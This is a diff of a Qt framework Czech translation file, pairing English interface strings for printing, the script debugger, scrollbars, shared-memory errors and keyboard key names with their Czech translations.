    -        <qt>Chcete jej přepsat?</qt>
    +        Step Out
    +        Krok ven
         
         
    -        
    -        Executive (7.5 x 10 inches, 191 x 254 mm)
    -        Prováděcí (7,5 x 10 palců, 191 x 254 mm)
    +        Shift+F11
    +        Shift+F11
         
         
    -        
    -        Letter (8.5 x 11 inches, 216 x 279 mm)
    -        Dopis (8,5 x 11 palců, 216 x 279 mm)
    +        Run to Cursor
    +        Provést po kurzor
         
         
    -        
    -        The 'From' value cannot be greater than the 'To' value.
    -        Údaj pro první stranu nesmí být větší než údaj pro poslední stranu.
    +        Ctrl+F10
    +        Ctrl+F10
         
         
    -        
    -        US Common #10 Envelope
    -        US běžná #10 obálka
    +        Run to New Script
    +        Provést po nový skript
         
         
    -        
    -        %1 is a directory.
    -Please choose a different file name.
    -        %1 je adresář.
    -Zvolte, prosím, pro soubor jiný název.
    +        Toggle Breakpoint
    +        Přepnout bod přerušení (zastavení)
         
         
    -        
    -        File %1 is not writable.
    -Please choose a different file name.
    -        Soubor %1 je chráněn proti zápisu.
    -Zvolte, prosím, pro soubor jiný název.
    +        F9
    +        F9
         
         
    -        
    -        B3 (353 x 500 mm)
    -        B3 (353 x 500 mm)
    +        Clear Debug Output
    +        Smazat výstup ladění
         
         
    -        
    -        A7 (74 x 105 mm)
    -        A7 (74 x 105 mm)
    +        Clear Error Log
    +        Smazat výstupní zápis s chybami
         
         
    -        
    -        A2 (420 x 594 mm)
    -        A2 (420 x 594 mm)
    +        Clear Console
    +        Smazat konzoli
         
         
    -        
    -        B7 (88 x 125 mm)
    -        B7 (88 x 125 mm)
    +        &Find in Script...
    +        &Hledat ve skriptu...
    +    
    +    
    +        Ctrl+F
    +        Ctrl+F
         
    -
    -
    -    QPrintPreviewDialog
         
    -        
    -        %1%
    -        %1%
    +        Find &Next
    +        Najít &další
         
         
    -        
    -        Print Preview
    -        Náhled tisku
    +        F3
    +        F3
         
         
    -        Close
    -        Zavřít
    +        Find &Previous
    +        Najít &předchozí
         
         
    -        
    -        Print
    -        Tisk
    +        Shift+F3
    +        Shift+F3
         
         
    -        
    -        Fit page
    -        Přizpůsobit stranu
    +        Ctrl+G
    +        Ctrl+G
         
         
    -        
    -        Zoom in
    -        Zvětšit
    +        Debug
    +        Ladit
         
    +
    +
    +    QScriptDebuggerCodeFinderWidget
         
    -        
    -        Landscape
    -        Formát na šířku
    +        Close
    +        Zavřít
         
         
    -        
    -        Zoom out
    -        Zmenšit
    +        Previous
    +        Předchozí
         
         
    -        
    -        Fit width
    -        Přizpůsobit šířku
    +        Next
    +        Další
         
         
    -        
    -        Portrait
    -        Formát na výšku
    +        Case Sensitive
    +        Rozlišující velká a malá písmena
         
         
    -        
    -        
    -        Page Setup
    -        Nastavení strany
    +        Whole words
    +        Celá slova
         
         
    -        
    -        Page setup
    -        Nastavení strany
    +        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
    +        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Hledání dosáhlo konce
         
    +
    +
    +    QScriptDebuggerLocalsModel
         
    -        
    -        Show overview of all pages
    -        Ukázat přehled všech stran
    +        Name
    +        Název
         
         
    -        
    -        First page
    -        První strana
    +        Value
    +        Hodnota
         
    +
    +
    +    QScriptDebuggerStackModel
         
    -        
    -        Last page
    -        Poslední strana
    +        Level
    +        Úroveň
         
         
    -        
    -        Show single page
    -        Ukázat jednotlivé strany
    +        Name
    +        Název
         
         
    -        
    -        Export to PDF
    -        Vyvést do PDF
    +        Location
    +        Umístění
         
    +
    +
    +    QScriptEdit
         
    -        
    -        Previous page
    -        Předchozí strana
    +        Toggle Breakpoint
    +        Přepnout bod zastavení
         
         
    -        
    -        Next page
    -        Další strana
    +        Disable Breakpoint
    +        Vypnout bod zastavení
         
         
    -        
    -        Show facing pages
    -        Ukázat strany ležící naproti
    +        Enable Breakpoint
    +        Zapnout bod zastavení
         
         
    -        
    -        Export to PostScript
    -        Vyvést do PostScriptu
    +        Breakpoint Condition:
    +        Podmínka zastavení:
         
     
     
    -    QPrintPropertiesWidget
    +    QScriptEngineDebugger
         
    -        
    -        Form
    -        Formulář
    +        Loaded Scripts
    +        Nahrané skripty
         
         
    -        
    -        Page
    -        Strana
    +        Breakpoints
    +        Body zastavení
         
         
    -        
    -        Advanced
    -        Rozšířené
    +        Stack
    +        Zásobník
         
    -
    -
    -    QPrintSettingsOutput
         
    -        
    -        to
    -        do
    +        Locals
    +        Místní proměnné
         
         
    -        
    -        Form
    -        Formulář
    +        Console
    +        Konzole
         
         
    -        
    -        None
    -        Žádný
    +        Debug Output
    +        Výstup ladění
         
         
    -        
    -        Color
    -        Barva
    +        Error Log
    +        Výstupní zápis s chybami
         
         
    -        
    -        Print all
    -        Tisknout vše
    +        Search
    +        Hledat
         
         
    -        
    -        Selection
    -        Výběr
    +        View
    +        Pohled
         
         
    -        
    -        Long side
    -        Dlouhá strana
    +        Qt Script Debugger
    +        Qt ladění skriptů
         
    +
    +
    +    QScriptNewBreakpointWidget
         
    -        
    -        Copies
    -        Počet exemplářů
    +        Close
    +        Zavřít
         
    +
    +
    +    QScrollBar
         
    -        
    -        Print range
    -        Tisk oblasti
    +        Top
    +        Začátek
         
         
    -        
    -        Color Mode
    -        Barevný režim
    +        Scroll down
    +        Projíždět dolů
         
         
    -        
    -        Options
    -        Volby
    +        Scroll here
    +        Projíždět až sem
         
         
    -        
    -        Output Settings
    -        Nastavení výstupu
    +        Scroll left
    +        Projíždět doleva
         
         
    -        
    -        Reverse
    -        Obrácený
    +        Line up
    +        O jeden řádek nahoru
         
         
    -        
    -        Grayscale
    -        Odstíny šedi
    +        Line down
    +        O jeden řádek dolů
         
         
    -        
    -        Short side
    -        Krátká strana
    +        Bottom
    +        Konec
         
         
    -        
    -        Collate
    -        Srovnat
    +        Page up
    +        O stranu nahoru
         
         
    -        
    -        Copies:
    -        Počet exemplářů:
    +        Position
    +        Poloha
         
         
    -        
    -        Pages from
    -        Strany od
    +        Page right
    +        O stranu doprava
         
         
    -        
    -        Duplex Printing
    -        Zdvojený tisk
    +        Scroll up
    +        Projíždět nahoru
         
    -
    -
    -    QPrintWidget
         
    -        
    -        ...
    -        ...
    +        Scroll right
    +        Projíždět doprava
         
         
    -        
    -        Form
    -        Formulář
    +        Left edge
    +        Levý okraj
         
         
    -        
    -        Type:
    -        Typ:
    +        Page down
    +        O stranu dolů
         
         
    -        
    -        &Name:
    -        &Název:
    +        Page left
    +        O stranu doleva
         
         
    -        
    -        Output &file:
    -        Výstupní &soubor:
    +        Right edge
    +        Pravý okraj
         
    +
    +
    +    QSharedMemory
         
    -        
    -        P&roperties
    -        &Vlastnosti
    +        %1: doesn't exist
    +        %1: Neexistuje
         
         
    -        
    -        Preview
    -        Náhled
    +        %1: UNIX key file doesn't exist
    +        %1: Soubor s unixovým klíčem neexistuje
         
         
    -        
    -        Printer
    -        Tiskárna
    +        %1: system-imposed size restrictions
    +        %1: Bylo dosaženo systémem podmíněné meze velikosti
         
         
    -        
    -        Location:
    -        Umístění:
    +        %1: unix key file doesn't exists
    +        %1: Soubor s unixovým klíčem neexistuje
         
    -
    -
    -    QProcess
         
    -        
    -        
    -        
    -        Error writing to process
    -        Zápis do procesu se nezdařil
    +        %1: doesn't exists
    +        %1: Neexistuje
         
         
    -        
    -        No program defined
    -        Nestanoven žádný program
    +        %1: key is empty
    +        %1: Neplatný údaj u klíče (prázdný)
         
         
    -        
    -        Resource error (fork failure): %1
    -        Potíže se zdroji (selhání rozcestí - "fork failure"): %1
    +        %1: key error
    +        %1: Chybný klíč
         
         
    -        
    -        
    -        
    -        
    -        Error reading from process
    -        Čtení z procesu se nezdařilo
    +        %1: create size is less then 0
    +        %1: Údaj o velikosti vytvoření je menší než nula
         
         
    -        Process failed to start
    -        Spuštění procesu se nezdařilo
    +        %1: already exists
    +        %1: Již existuje
         
         
    -        
    -        
    -        Could not open input redirection for reading
    -        Vstupní přesměrování se nepodařilo otevřít pro čtení
    +        %1: unknown error %2
    +        %1: Neznámá chyba %2
         
         
    -        
    -        
    -        Could not open output redirection for writing
    -        Výstupní přesměrování se nepodařilo otevřít pro zápis
    +        %1: invalid size
    +        %1: Neplatná velikost
         
         
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        Process operation timed out
    -        Překročení času u procesu
    +        %1: unable to make key
    +        %1: Nepodařilo se vytvořit klíč
         
         
    -        
    -        Process crashed
    -        Proces spadl
    +        %1: unable to set key on lock
    +        %1: Nepodařilo se nastavit klíč pro uzavření
         
         
    -        
    -        Process failed to start: %1
    -        Proces se nepodařilo spustit: %1
    +        %1: unable to unlock
    +        %1: Uzavření se nepodařilo zrušit
         
    -
    -
    -    QProgressDialog
         
    -        
    -        Cancel
    -        Zrušit
    +        %1: permission denied
    +        %1: Přístup odepřen
         
    -
    -
    -    QPushButton
         
    -        
    -        Open
    -        Otevřít
    +        %1: ftok failed
    +        %1: Vyvolání ftok se nezdařilo
         
    -
    -
    -    QRadioButton
         
    -        
    -        Check
    -        Označit křížkem
    +        %1: out of resources
    +        %1: Nejsou již použitelné zdroje
         
    -
    -
    -    QRegExp
         
    -        
    -        bad lookahead syntax
    -        nesprávná syntax pro plánování dopředu
    +        %1: not attached
    +        %1: Nepřipojen
         
         
    -        
    -        no error occurred
    -        žádná chyba
    +        %1: size query failed
    +        %1: Vyhledání velikosti se nezdařilo
         
         
    -        
    -        missing left delim
    -        chybějící levé vymezení
    +        %1: unable to lock
    +        %1: Uzavření se nezdařilo
         
    +
    +
    +    QShortcut
         
    -        
    -        bad char class syntax
    -        nesprávná syntax pro třídu znaku
    +        +
    +        +
         
         
    -        
    -        disabled feature used
    -        byla použita zakázaná vlastnost
    +        No
    +        Ne
         
         
    -        
    -        invalid octal value
    -        neplatná osmičková hodnota
    +        Up
    +        Nahoru
         
         
    -        
    -        invalid interval
    -        neplatný interval
    +        Alt
    +        Alt
         
         
    -        
    -        invalid category
    -        neplatná skupina
    +        F%1
    +        F%1
         
         
    -        
    -        bad repetition syntax
    -        nesprávná syntax pro opakování
    +        Del
    +        Delete
         
         
    -        
    -        met internal limit
    -        dosažena vnitřní mez
    +        End
    +        End
         
         
    -        
    -        unexpected end
    -        neočekávaný konec
    +        Esc
    +        Esc
         
    -
    -
    -    QSQLite2Driver
         
    -        
    -        Unable to commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        Ins
    +        Insert
         
         
    -        Error to open database
    -        Nepodařilo se otevřít spojení s datatabází
    +        Tab
    +        Tab
         
         
    -        Unable to rollback Transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        Yes
    +        Ano
         
         
    -        
    -        Unable to begin transaction
    -        Transakci se nepodařilo spustit
    +        Back
    +        Zpět
         
         
    -        
    -        Error opening database
    -        Nepodařilo se otevřít spojení s databází
    +        Call
    +        Button to start a call (note: a separate button is used to end the call)
    +        Volání
         
         
    -        
    -        Unable to rollback transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        Ctrl
    +        Ctrl
         
    -
    -
    -    QSQLite2Result
         
    -        
    -        Unable to execute statement
    -        Příkaz se nepodařilo provést
    +        Down
    +        Dolů
         
         
    -        
    -        Unable to fetch results
    -        Výsledek se nepodařilo natáhnout
    +        Flip
    +        Obrátit
         
    -
    -
    -    QSQLiteDriver
         
    -        
    -        Unable to commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        Help
    +        Nápověda
         
         
    -        
    -        Error closing database
    -        Nepodařilo se uzavřít spojení s datatabází
    +        Home
    +        Home
         
         
    -        
    -        Error opening database
    -        Nepodařilo se otevřít spojení s databází
    +        Left
    +        Vlevo
         
         
    -        
    -        Unable to rollback transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        Menu
    +        Menu
         
         
    -        
    -        Unable to begin transaction
    -        Transakci se nepodařilo spustit
    +        Toggle Call/Hangup
    +        Button that will hang up if we're in call, or make a call if we're not.
    +        Přepnout volat/zavěsit
         
    -
    -
    -    QSQLiteResult
         
    -        
    -        
    -        
    -        Unable to fetch row
    -        Řádek se nepodařilo natáhnout
    +        Voice Dial
    +        Button to trigger voice dialing
    +        Hlasové vytáčení
         
         
    -        
    -        No query
    -        Žádný požadavek
    +        Last Number Redial
    +        Button to redial the last number called
    +        Opakované vytáčení posledního čísla
         
         
    -        
    -        Unable to execute statement
    -        Příkaz se nepodařilo provést
    +        Camera Shutter
    +        Button to trigger the camera shutter (take a picture)
    +        Závěrka kamery
         
         
    -        
    -        Unable to bind parameters
    -        Parametry se nepodařilo spojit
    +        Camera Focus
    +        Button to focus the camera
    +        Zaostření kamery
         
         
    -        
    -        Unable to reset statement
    -        Příkaz se nepodařilo znovu nastavit
    +        Kanji
    +        Kandži
         
         
    -        
    -        Parameter count mismatch
    -        Počet parametrů není správný
    +        Muhenkan
    +        Muhenkan
         
    -
    -
    -    QScriptBreakpointsModel
         
    -        
    -        ID
    -        ID
    +        Henkan
    +        Henkan
         
         
    -        
    -        Location
    -        Umístění
    +        Romaji
    +        Romaji
         
         
    -        
    -        Condition
    -        Podmínka
    +        Hiragana
    +        Hiragana
         
         
    -        
    -        Ignore-count
    -        Spustit po
    +        Katakana
    +        Katakana
         
         
    -        
    -        Single-shot
    -        Spustit jednou
    +        Hiragana Katakana
    +        Hiragana Katakana
         
         
    -        
    -        Hit-count
    -        Spuštěný
    +        Zenkaku
    +        Zenkaku
         
    -
    -
    -    QScriptBreakpointsWidget
         
    -        
    -        New
    -        Nový
    +        Hankaku
    +        Hankaku
         
         
    -        
    -        Delete
    -        Smazat
    +        Zenkaku Hankaku
    +        Zenkaku Hankaku
         
    -
    -
    -    QScriptDebugger
         
    -        
    -        
    -        Go to Line
    -        Jít na řádek
    +        Touroku
    +        Touroku
         
         
    -        
    -        Line:
    -        Řádek:
    +        Massyo
    +        Massyo
         
         
    -        
    -        Interrupt
    -        Přerušit
    +        Kana Lock
    +        Kana Zámek
         
         
    -        
    -        Shift+F5
    -        Shift+F5
    +        Kana Shift
    +        Kany Posun
         
         
    -        
    -        Continue
    -        Pokračovat
    +        Eisu Shift
    +        Eisu Posun
         
         
    -        
    -        F5
    -        F5
    +        Eisu toggle
    +        Eisu Přepínač
         
         
    -        
    -        Step Into
    -        Krok do
    +        Code input
    +        Vstup pro kód
         
         
    -        
    -        F11
    -        F11
    +        Multiple Candidate
    +        Více návrhů
         
         
    -        
    -        Step Over
    -        Krok přes
    +        Previous Candidate
    +        Předchozí návrh
         
         
    -        
    -        F10
    -        F10
    +        Hangul
    +        Hangul
         
         
    -        
    -        Step Out
    -        Krok ven
    +        Hangul Start
    +        Hangul začátek
         
         
    -        
    -        Shift+F11
    -        Shift+F11
    +        Hangul End
    +        Hangul konec
         
         
    -        
    -        Run to Cursor
    -        Provést po kurzor
    +        Hangul Hanja
    +        Hangul Hanja
         
         
    -        
    -        Ctrl+F10
    -        Ctrl+F10
    +        Hangul Jamo
    +        Hangul Jamo
         
         
    -        
    -        Run to New Script
    -        Provést po nový skript
    +        Hangul Romaja
    +        Hangul Romaja
         
         
    -        
    -        Toggle Breakpoint
    -        Přepnout bod přerušení (zastavení)
    +        Hangul Jeonja
    +        Hangul Jeonja
         
         
    -        
    -        F9
    -        F9
    +        Hangul Banja
    +        Hangul Banja
         
         
    -        
    -        Clear Debug Output
    -        Smazat výstup ladění
    +        Hangul PreHanja
    +        Hangul PreHanja
         
         
    -        
    -        Clear Error Log
    -        Smazat výstupní zápis s chybami
    +        Hangul PostHanja
    +        Hangul PostHanja
         
         
    -        
    -        Clear Console
    -        Smazat konzoli
    +        Hangul Special
    +        Hangul zvláštní
         
         
    -        
    -        &Find in Script...
    -        &Hledat ve skriptu...
    +        Meta
    +        Meta
         
         
    -        
    -        Ctrl+F
    -        Ctrl+F
    +        PgUp
    +        PgUp
         
         
    -        
    -        Find &Next
    -        Najít &další
    +        Stop
    +        Stop
         
         
    -        
    -        F3
    -        F3
    +        Enter
    +        Enter
    +    
    +    
    +        Pause
    +        Pause
         
         
    -        
    -        Find &Previous
    -        Najít &předchozí
    +        Print
    +        Print
         
         
    -        
    -        Shift+F3
    -        Shift+F3
    +        Right
    +        Vpravo
         
         
    -        
    -        Ctrl+G
    -        Ctrl+G
    +        Shift
    +        Shift
         
         
    -        
    -        Debug
    -        Ladit
    +        Space
    +        This and all following "incomprehensible" strings in QShortcut context are key names. Please use the localized names appearing on actual keyboards or whatever is commonly used.
    +        Mezerník
         
    -
    -
    -    QScriptDebuggerCodeFinderWidget
         
    -        
    -        Close
    -        Zavřít
    +        Media Record
    +        Nahrát
         
         
    -        
    -        Previous
    -        Předchozí
    +        Print Screen
    +        Print Screen
         
         
    -        
    -        Next
    -        Další
    +        Treble Down
    +        Výšky -
         
         
    -        
    -        Case Sensitive
    -        Rozlišující velká a malá písmena
    +        Scroll Lock
    +        Scroll Lock
         
         
    -        
    -        Whole words
    -        Celá slova
    +        Volume Down
    +        Hlasitost -
         
         
    -        
    -        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
    -        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Hledání dosáhlo konce
    +        Volume Mute
    +        Ztlumit hlasitost
         
    -
    -
    -    QScriptDebuggerLocalsModel
         
    -        
    -        Name
    -        Název
    +        Media Previous
    +        Předchozí
         
         
    -        
    -        Value
    -        Hodnota
    +        Home Page
    +        Domovská stránka
         
    -
    -
    -    QScriptDebuggerStackModel
         
    -        
    -        Level
    -        Úroveň
    +        Volume Up
    +        Hlasitost +
         
         
    -        
    -        Name
    -        Název
    +        Launch (6)
    +        Spustit (6)
         
         
    -        
    -        Location
    -        Umístění
    +        Launch (7)
    +        Spustit (7)
         
    -
    -
    -    QScriptEdit
         
    -        
    -        Toggle Breakpoint
    -        Přepnout bod zastavení
    +        Launch (8)
    +        Spustit (8)
         
         
    -        
    -        Disable Breakpoint
    -        Vypnout bod zastavení
    +        Launch (9)
    +        Spustit (9)
         
         
    -        
    -        Enable Breakpoint
    -        Zapnout bod zastavení
    +        Launch (2)
    +        Spustit (2)
         
         
    -        
    -        Breakpoint Condition:
    -        Podmínka zastavení:
    +        Launch (3)
    +        Spustit (3)
         
    -
    -
    -    QScriptEngineDebugger
         
    -        
    -        Loaded Scripts
    -        Nahrané skripty
    +        Launch (4)
    +        Spustit (4)
         
         
    -        
    -        Breakpoints
    -        Body zastavení
    +        Launch (5)
    +        Spustit (5)
         
         
    -        
    -        Stack
    -        Zásobník
    +        Launch (0)
    +        Spustit (0)
         
         
    -        
    -        Locals
    -        Místní proměnné
    +        Launch (1)
    +        Spustit (1)
         
         
    -        
    -        Console
    -        Konzole
    +        Launch (F)
    +        Spustit (F)
         
         
    -        
    -        Debug Output
    -        Výstup ladění
    +        Launch (B)
    +        Spustit (B)
         
         
    -        
    -        Error Log
    -        Výstupní zápis s chybami
    +        Launch (C)
    +        Spustit (C)
         
         
    -        
    -        Search
    -        Hledat
    +        Launch (D)
    +        Spustit (D)
         
         
    -        
    -        View
    -        Pohled
    +        Launch (E)
    +        Spustit (E)
         
         
    -        
    -        Qt Script Debugger
    -        Qt ladění skriptů
    +        Launch (A)
    +        Spustit (A)
         
    -
    -
    -    QScriptNewBreakpointWidget
         
    -        
    -        Close
    -        Zavřít
    +        Delete
    +        Delete
         
    -
    -
    -    QScrollBar
         
    -        
    -        Top
    -        Začátek
    +        Escape
    +        Escape
         
         
    -        
    -        Scroll down
    -        Projíždět dolů
    +        Hangup
    +        Button to end a call (note: a separate button is used to start the call)
    +        Pověsit
         
         
    -        
    -        Scroll here
    -        Projíždět až sem
    +        Insert
    +        Insert
         
         
    -        
    -        Scroll left
    -        Projíždět doleva
    +        Bass Boost
    +        Zesílení basů
         
         
    -        
    -        Line up
    -        O jeden řádek nahoru
    +        PgDown
    +        PgDown
         
         
    -        
    -        Line down
    -        O jeden řádek dolů
    +        Return
    +        Return
         
         
    -        
    -        Bottom
    -        Konec
    +        Search
    +        Hledat
         
         
    -        
    -        
    -        Page up
    -        O stranu nahoru
    +        Select
    +        Vybrat
         
         
    -        
    -        Position
    -        Poloha
    +        SysReq
    +        SysReq
         
         
    -        
    -        Page right
    -        O stranu doprava
    +        NumLock
    +        NumLock
         
         
    -        
    -        Scroll up
    -        Projíždět nahoru
    +        ScrollLock
    +        ScrollLock
         
         
    -        
    -        Scroll right
    -        Projíždět doprava
    +        Media Pause
    +        Media player pause button
    +        Pozastavení přehrávání
         
         
    -        
    -        Left edge
    -        Levý okraj
    +        Toggle Media Play/Pause
    +        Media player button to toggle between playing and paused
    +        Přepnout přehrávat/pozastavit
         
         
    -        
    -        
    -        Page down
    -        O stranu dolů
    +        Monitor Brightness Up
    +        Zvýšit jas obrazovky
         
         
    -        
    -        Page left
    -        O stranu doleva
    +        Monitor Brightness Down
    +        Snížit jas obrazovky
         
         
    -        
    -        Right edge
    -        Pravý okraj
    +        Keyboard Light On/Off
    +        Zapnout/Vypnout podsvícení klávesnice
         
    -
    -
    -    QSharedMemory
         
    -        
    -        
    -        %1: doesn't exist
    -        %1: Neexistuje
    +        Keyboard Brightness Up
    +        Zvýšit jas klávesnice
         
         
    -        
    -        %1: UNIX key file doesn't exist
    -        %1: Soubor s unixovým klíčem neexistuje
    +        Keyboard Brightness Down
    +        Snížit jas klávesnice
         
         
    -        
    -        %1: system-imposed size restrictions
    -        %1: Bylo dosaženo systémem podmíněné meze velikosti
    +        Power Off
    +        Vypnout
         
         
    -        %1: unix key file doesn't exists
    -        %1: Soubor s unixovým klíčem neexistuje
    +        Wake Up
    +        Probudit
         
         
    -        
    -        %1: doesn't exists
    -        %1: Neexistuje
    +        Eject
    +        Vysunout
         
         
    -        
    -        %1: key is empty
    -        %1: Neplatný údaj u klíče (prázdný)
    +        Screensaver
    +        Spořič/Šetřič obrazovky
         
         
    -        
    -        
    -        %1: key error
    -        %1: Chybný klíč
    +        WWW
    +        Internet
         
         
    -        
    -        %1: create size is less then 0
    -        %1: Údaj o velikosti vytvoření je menší než nula
    +        Sleep
    +        Režim spánku
         
         
    -        
    -        
    -        
    -        %1: already exists
    -        %1: Již existuje
    +        LightBulb
    +        Osvětlení
         
         
    -        
    -        
    -        
    -        %1: unknown error %2
    -        %1: Neznámá chyba %2
    +        Shop
    +        Obchod
         
         
    -        
    -        
    -        %1: invalid size
    -        %1: Neplatná velikost
    +        History
    +        Průběh
         
         
    -        
    -        
    -        
    -        %1: unable to make key
    -        %1: Nepodařilo se vytvořit klíč
    +        Add Favorite
    +        Přidat záložku
         
         
    -        
    -        %1: unable to set key on lock
    -        %1: Nepodařilo se nastavit klíč pro uzavření
    +        Hot Links
    +        Doporučené odkazy
         
         
    -        
    -        %1: unable to unlock
    -        %1: Uzavření se nepodařilo zrušit
    +        Adjust Brightness
    +        Upravit jas
         
         
    -        
    -        
    -        
    -        %1: permission denied
    -        %1: Přístup odepřen
    +        Finance
    +        Finance
         
         
    -        
    -        %1: ftok failed
    -        %1: Vyvolání ftok se nezdařilo
    +        Community
    +        Společenství
         
         
    -        
    -        
    -        
    -        %1: out of resources
    -        %1: Nejsou již použitelné zdroje
    +        Audio Rewind
    +        Zvuk přetočit zpět
         
         
    -        
    -        %1: not attached
    -        %1: Nepřipojen
    +        Back Forward
    +        Zpět dopředu
         
         
    -        
    -        %1: size query failed
    -        %1: Vyhledání velikosti se nezdařilo
    +        Application Left
    +        Aplikace vlevo
         
         
    -        
    -        
    -        %1: unable to lock
    -        %1: Uzavření se nezdařilo
    +        Application Right
    +        Aplikace vpravo
         
    -
    -
    -    QShortcut
         
    -        
    -        +
    -        +
    +        Book
    +        Kniha
         
         
    -        
    -        No
    -        Ne
    +        CD
    +        CD
         
         
    -        
    -        Up
    -        Nahoru
    +        Calculator
    +        Kalkulačka
         
         
    -        
    -        
    -        Alt
    -        Alt
    +        Clear
    +        Smazat
         
         
    -        
    -        F%1
    -        F%1
    +        Clear Grab
    +        Smazat přístup
         
         
    -        
    -        Del
    -        Delete
    +        Close
    +        Zavřít
         
         
    -        
    -        End
    -        End
    +        Copy
    +        Kopírovat
         
         
    -        
    -        Esc
    -        Esc
    +        Cut
    +        Vyjmout
         
         
    -        
    -        Ins
    -        Insert
    +        Display
    +        Zobrazit
         
         
    -        
    -        Tab
    -        Tab
    +        DOS
    +        DOS
         
         
    -        
    -        Yes
    -        Ano
    +        Documents
    +        Dokumenty
         
         
    -        
    -        Back
    -        Zpět
    +        Spreadsheet
    +        Tabulkový dokument
         
         
    -        
    -        Call
    -        Volání
    +        Browser
    +        Prohlížeč
         
         
    -        
    -        
    -        Ctrl
    -        Ctrl
    +        Game
    +        Hra
         
         
    -        
    -        Down
    -        Dolů
    +        Go
    +        Do toho
         
         
    -        
    -        Flip
    -        Obrátit
    +        iTouch
    +        iTouch
         
         
    -        
    -        Help
    -        Nápověda
    +        Logoff
    +        Odhlásit se
         
         
    -        
    -        Home
    -        Home
    +        Market
    +        Trh
         
         
    -        
    -        Left
    -        Vlevo
    +        Meeting
    +        Schůze
         
         
    -        
    -        Menu
    -        Menu
    +        Keyboard Menu
    +        Nabídka klávesnice
         
         
    -        
    -        
    -        Meta
    -        Meta
    +        Menu PB
    +        Nabídka PB
         
         
    -        
    -        PgUp
    -        PgUp
    +        My Sites
    +        Moje místa
         
         
    -        
    -        Stop
    -        Stop
    +        News
    +        Zprávy
         
         
    -        
    -        Enter
    -        Enter
    +        Home Office
    +        Domácí kancelář
         
         
    -        
    -        Pause
    -        Pause
    +        Option
    +        Volba
         
         
    -        
    -        Print
    -        Print
    +        Paste
    +        Vložit
         
         
    -        
    -        Right
    -        Vpravo
    +        Phone
    +        Telefon
         
         
    -        
    -        
    -        Shift
    -        Shift
    +        Reply
    +        Odpovědět
         
         
    -        
    -        Space
    -        Mezerník
    +        Reload
    +        Nahrát znovu
         
         
    -        
    -        Media Record
    -        Nahrát
    +        Rotate Windows
    +        Otáčet okny
         
         
    -        
    -        Print Screen
    -        Print Screen
    +        Rotation PB
    +        Otáčení PB
         
         
    -        
    -        Treble Down
    -        Výšky -
    +        Rotation KB
    +        Otáčení KB
         
         
    -        
    -        Scroll Lock
    -        Scroll Lock
    +        Save
    +        Uložit
         
         
    -        
    -        Volume Down
    -        Hlasitost -
    +        Send
    +        Poslat
         
         
    -        
    -        Volume Mute
    -        Ztlumit hlasitost
    +        Spellchecker
    +        Ověření pravopisu
         
         
    -        
    -        Media Previous
    -        Předchozí
    +        Split Screen
    +        Rozdělit obrazovku
         
         
    -        
    -        Home Page
    -        Domovská stránka
    +        Support
    +        Podpora
         
         
    -        
    -        Volume Up
    -        Hlasitost +
    +        Task Panel
    +        Panel s úkoly
         
         
    -        
    -        Launch (6)
    -        Spustit (6)
    +        Terminal
    +        Terminál
         
         
    -        
    -        Launch (7)
    -        Spustit (7)
    +        Tools
    +        Nástroje
         
         
    -        
    -        Launch (8)
    -        Spustit (8)
    +        Travel
    +        Cestování
         
         
    -        
    -        Launch (9)
    -        Spustit (9)
    +        Video
    +        Video
         
         
    -        
    -        Launch (2)
    -        Spustit (2)
    +        Word Processor
    +        Zpracování textu
         
         
    -        
    -        Launch (3)
    -        Spustit (3)
    +        XFer
    +        XFer
         
         
    -        
    -        Launch (4)
    -        Spustit (4)
    +        Zoom In
    +        Přiblížit
         
         
    -        
    -        Launch (5)
    -        Spustit (5)
    +        Zoom Out
    +        Oddálit
         
         
    -        
    -        Launch (0)
    -        Spustit (0)
    +        Away
    +        Pryč
         
         
    -        
    -        Launch (1)
    -        Spustit (1)
    +        Messenger
    +        Posel
         
         
    -        
    -        Launch (F)
    -        Spustit (F)
    +        WebCam
    +        Internetová kamera
         
         
    -        
    -        Launch (B)
    -        Spustit (B)
    +        Mail Forward
    +        Předání dál
         
         
    -        
    -        Launch (C)
    -        Spustit (C)
    +        Pictures
    +        Obrázky
         
         
    -        
    -        Launch (D)
    -        Spustit (D)
    +        Music
    +        Hudba
         
         
    -        
    -        Launch (E)
    -        Spustit (E)
    +        Battery
    +        Baterie
         
         
    -        
    -        Launch (A)
    -        Spustit (A)
    +        Bluetooth
    +        Modrozub
         
         
    -        
    -        Delete
    -        Delete
    +        Wireless
    +        Bezdrát
         
         
    -        
    -        Escape
    -        Escape
    +        Ultra Wide Band
    +        Ultra široké pásmo
         
         
    -        
    -        Hangup
    -        Pověsit
    +        Audio Forward
    +        Zvuk přetočit dopředu
         
         
    -        
    -        Insert
    -        Insert
    +        Audio Repeat
    +        Opakovat zvuk
         
         
    -        
    -        Bass Boost
    -        Zesílení basů
    +        Audio Random Play
    +        Zvuk přehrávat náhodně
         
         
    -        
    -        PgDown
    -        PgDown
    +        Subtitle
    +        Titulky
         
         
    -        
    -        Return
    -        Return
    +        Audio Cycle Track
    +        Změnit zvukovou stopu
         
         
    -        
    -        Search
    -        Hledat
    +        Time
    +        Čas
         
         
    -        
    -        Select
    -        Vybrat
    +        View
    +        Pohled
         
         
    -        
    -        SysReq
    -        SysReq
    +        Top Menu
    +        Hlavní nabídka
         
         
    -        
    -        NumLock
    -        NumLock
    +        Suspend
    +        Pozastavit
         
         
    -        
    -        ScrollLock
    -        ScrollLock
    +        Hibernate
    +        Přezimovat
         
         
    -        
             Context1
             Kontext1
         
         
    -        
             Context2
             Kontext2
         
         
    -        
             Context3
             Kontext3
         
         
    -        
             Context4
             Kontext4
         
         
    -        
             Page Up
             Page Up
         
         
    -        
             Open URL
             Otevřít URL
         
         
    -        
             Caps Lock
             Caps Lock
         
         
    -        
             System Request
             Žádost systému
         
         
    -        
             CapsLock
             CapsLock
         
         
    -        
             Backtab
             Zpět-Tab
